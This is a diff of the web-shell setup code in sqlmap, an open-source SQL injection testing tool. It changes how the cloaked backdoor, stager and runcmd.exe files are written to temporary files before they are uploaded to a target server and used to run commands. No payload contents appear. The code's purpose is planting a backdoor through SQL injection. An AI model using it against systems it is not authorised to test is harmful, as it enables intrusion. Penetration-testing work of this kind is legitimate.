1010import posixpath
1111import re
1212
13+ from tempfile import mkstemp
14+
1315from extra .cloak .cloak import decloak
1416from lib .core .agent import agent
1517from lib .core .common import arrayizeValue
1618from lib .core .common import Backend
17- from lib .core .common import decloakToMkstemp
18- from lib .core .common import decloakToNamedTemporaryFile
19+ from lib .core .common import decloakToNamedStream
1920from lib .core .common import extractRegexResult
2021from lib .core .common import getDirs
2122from lib .core .common import getDocRoot
@@ -187,7 +188,7 @@ def webInit(self):
187188 directories = sorted (getDirs ())
188189
189190 backdoorName = "tmpb%s.%s" % (randomStr (lowercase = True ), self .webApi )
190- backdoorStream = decloakToNamedTemporaryFile (os .path .join (paths .SQLMAP_SHELL_PATH , "backdoor.%s_" % self .webApi ), backdoorName )
191+ backdoorStream = decloakToNamedStream (os .path .join (paths .SQLMAP_SHELL_PATH , "backdoor.%s_" % self .webApi ), backdoorName )
191192 originalBackdoorContent = backdoorContent = backdoorStream .read ()
192193
193194 stagerName = "tmpu%s.%s" % (randomStr (lowercase = True ), self .webApi )
@@ -255,8 +256,15 @@ def webInit(self):
255256 infoMsg += "UNION technique"
256257 logger .info (infoMsg )
257258
258- stagerDecloacked = decloakToMkstemp (os .path .join (paths .SQLMAP_SHELL_PATH , "stager.%s_" % self .webApi ))
259- self .unionWriteFile (stagerDecloacked .name , self .webStagerFilePath , "text" )
259+ handle , filename = mkstemp ()
260+ os .fdopen (handle ).close () # close low level handle (causing problems latter)
261+
262+ with open (filename , "w+" ) as f :
263+ _ = decloak (os .path .join (paths .SQLMAP_SHELL_PATH , "stager.%s_" % self .webApi ))
264+ _ = _ .replace ("WRITABLE_DIR" , localPath .replace ('/' , '\\ \\ ' ) if Backend .isOs (OS .WINDOWS ) else localPath )
265+ f .write (_ )
266+
267+ self .unionWriteFile (filename , self .webStagerFilePath , "text" )
260268
261269 uplPage , _ , _ = Request .getPage (url = self .webStagerUrl , direct = True , raise404 = False )
262270 uplPage = uplPage or ""
@@ -282,7 +290,7 @@ def webInit(self):
282290
283291 if self .webApi == WEB_API .ASP :
284292 runcmdName = "tmpe%s.exe" % randomStr (lowercase = True )
285- runcmdStream = decloakToNamedTemporaryFile (os .path .join (paths .SQLMAP_SHELL_PATH , 'runcmd.exe_' ), runcmdName )
293+ runcmdStream = decloakToNamedStream (os .path .join (paths .SQLMAP_SHELL_PATH , 'runcmd.exe_' ), runcmdName )
286294 match = re .search (r'input type=hidden name=scriptsdir value="([^"]+)"' , uplPage )
287295
288296 if match :
@@ -291,7 +299,7 @@ def webInit(self):
291299 continue
292300
293301 backdoorContent = originalBackdoorContent .replace ("WRITABLE_DIR" , backdoorDirectory ).replace ("RUNCMD_EXE" , runcmdName )
294- backdoorStream .file . truncate ()
302+ backdoorStream .truncate ()
295303 backdoorStream .read ()
296304 backdoorStream .seek (0 )
297305 backdoorStream .write (backdoorContent )
0 commit comments